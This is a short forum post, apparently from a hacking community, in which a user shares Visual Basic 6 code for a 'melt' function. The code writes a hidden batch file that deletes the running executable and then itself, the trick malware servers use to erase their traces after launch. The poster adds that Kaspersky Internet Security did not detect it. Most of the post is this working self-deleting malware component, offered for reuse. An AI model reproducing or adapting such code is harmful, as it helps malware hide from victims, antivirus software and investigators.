Mi4night Melt Funtion

Hi alle zusammen ok wollte auch mal was hier posten ich hoffe ihr mogt es,es ist nicht schweres hab so was auch nicht fruher gemacht also das ist meine erste melt funktion also bis heute hab ich auch nicht gewusst was das so ist gehort oft aber danach dachte ich lass mal probieren und hier ist sie meine erst e funtion ja ich weiss zum tod lachen

Private Sub Form_Load()
Call KillingMeSoftly
End Sub


Public Sub KillingMeSoftly()
Open App.Path & "\KillingMeSoftly.bat" For Append As #1
Print #1, "del " & App.EXEName & ".exe" & " %0 >>nul"
Close #1
Shell "attrib +h KillingMeSoftly.bat"
End Sub


Private Sub Form_Unload(Cancel As Integer)
Shell "attrib -h KillingMeSoftly.bat"
Shell App.Path & "\KillingMeSoftly.bat"
End Sub

p.s entschuldigung fur mein schlechtes deutsch

Like i said this is my first one :$ yesterday ive been told what a melt server is and then ive tryed to make but i was runing KIS and it has not been detected so i dont know hehehe you can change the directory where it should drop so dont worry about that

and no im not german im albanian - Kosovo Albanian